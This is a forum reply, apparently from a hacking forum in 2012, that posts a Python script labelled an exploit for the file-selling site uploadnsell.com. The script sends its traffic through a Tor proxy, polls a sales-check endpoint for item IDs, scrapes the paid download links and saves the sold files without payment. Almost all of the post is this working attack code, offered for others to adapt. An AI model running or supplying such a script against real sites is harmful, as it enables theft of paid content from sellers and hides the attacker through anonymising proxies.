RE: Upload n' Sell Exploit 10-08-2012, 03:41 PM
#4
Code:
import os, urllib2, random, time, re
if not os.path.exists("files\\"):
os.makedirs("files\\")
itenNames = os.listdir("files\\")
itemIDs = []
while True:
try:
opener = urllib2.build_opener(urllib2.ProxyHandler({"https":"localhost:8118"}))
site = opener.open("http://uploadnsell.com/check-sale.php")
itemID = site.read()
site.close()
if itemID not in itemIDs:
itemIDs.append(itemID)
site = opener.open("http://uploadnsell.com/download/%s"%itemID)
link = re.search("<div class='linkbox'><ul><li><a href=\"(.*)\">",site.read()).group(1)
site.close()
site = opener.open(link)
fname = re.search("attachment; filename=\"(.*)\"",site.headers["Content-Disposition"]).group(1)
data = site.read()
site.close()
if data != "PQR6D-VTRBW-J4QR6-6XC7J-T8KBJ":
if fname not in itenNames:
itenNames.append(fname)
if not os.path.exists("files\\%s\\"%fname):
os.makedirs("files\\%s\\"%fname)
f = open("files/%s/%s"%(fname,fname),"wb")
f.write(data)
f.close()
print "Saved %s (ID %s)"%(fname,itemID)
except Exception, err:
print "ERR: %s" % str(err)
time.sleep(30)Configured to use my tor setup, feel free to edit the proxy to your liking. Will only save one copy of any file, and won't save some fake XBOX code someone loves to spam.





![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)